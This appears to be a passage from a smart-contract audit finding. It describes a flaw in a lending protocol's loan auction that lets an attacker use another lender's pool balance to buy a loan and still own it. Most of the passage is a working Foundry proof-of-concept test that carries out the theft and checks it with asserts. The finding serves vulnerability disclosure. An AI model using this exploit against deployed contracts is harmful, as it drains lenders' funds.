The attacker could also be the one hosting the auction and using another pool's funds to buy the loan, effectively taking the other pool's funds while still owning the loan.
Below is a proof of concept illustrating the vulnerability. This is coded within the test suite of the protocol with the attacker address being set to address public attacker = address(0x5);
function test_userBuysLoanFromAnAuctionWithPoolHeIsNotTheLenderFor() public {
loanToken.mint(address(attacker), 100000 * 10 ** 18);
collateralToken.mint(address(attacker), 100000 * 10 ** 18);
test_borrow();
vm.warp(block.timestamp + 364 days + 12 hours);
vm.startPrank(lender1);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
vm.startPrank(lender2);
Pool memory p_2 = Pool({
lender: lender2,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId_lender2 = lender.setPool(p_2);
vm.startPrank(attacker);
Pool memory p_3 = Pool({
lender: attacker,
loanToken: address(loanToken),
collateralToken: address(collateralToken),
minLoanSize: 100 * 10 ** 18,
poolBalance: 1000 * 10 ** 18,
maxLoanRatio: 2 * 10 ** 18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId_attacker = lender.setPool(p_3);
vm.warp(block.timestamp + 12 hours);
(,,,,uint256 attacker_pool_beforeBuyingLoan,,,,) = lender.pools(poolId_attacker);
(,,,,uint256 lender2_pool_beforeBuyingLoan,,,,) = lender.pools(poolId_lender2);
lender.buyLoan(0, poolId_lender2);
(,,,,uint256 attacker_pool_afterBuyingLoan,,,,) = lender.pools(poolId_attacker);
(,,,,uint256 lender2_pool_afterBuyingLoan,,,,) = lender.pools(poolId_lender2);
assertEq(attacker_pool_beforeBuyingLoan, attacker_pool_afterBuyingLoan);
assertGt(lender2_pool_beforeBuyingLoan, lender2_pool_afterBuyingLoan);
assertEq(lender.getLoanDebt(0), 110 * 10 ** 18);
(address lender_ownsLoan,,,,,,,,,) = lender.loans(0);
assertEq(lender_ownsLoan, attacker);
Borrow memory b_attacker = Borrow({poolId: poolId_attacker, debt: 200*10**18, collateral: 200*10**18});
Borrow[] memory borrows_attacker = new Borrow[](1);
borrows_attacker[0] = b_attacker;
lender.borrow(borrows_attacker);
(,,,,uint256 lender2_pool_beforeRepay,,,,) = lender.pools(poolId_lender2);
(,,,,uint256 attacker_pool_beforeRepay,,,,) = lender.pools(poolId_attacker);
vm.startPrank(borrower);
loanToken.mint(address(borrower), 50 * 10 ** 18);
lender.repay(loanIds);
(,,,,uint256 lender2_pool_afterRepay,,,,) = lender.pools(poolId_lender2);
(,,,,uint256 attacker_pool_afterRepay,,,,) = lender.pools(poolId_attacker);
assertEq(lender2_pool_afterRepay, lender2_pool_beforeRepay);
assertGt(attacker_pool_afterRepay, attacker_pool_beforeRepay);
}
This vulnerability puts all lender's funds at risk, as their pool's balance can be used by other users to buy loans for themselves.
Manual review & Foundry.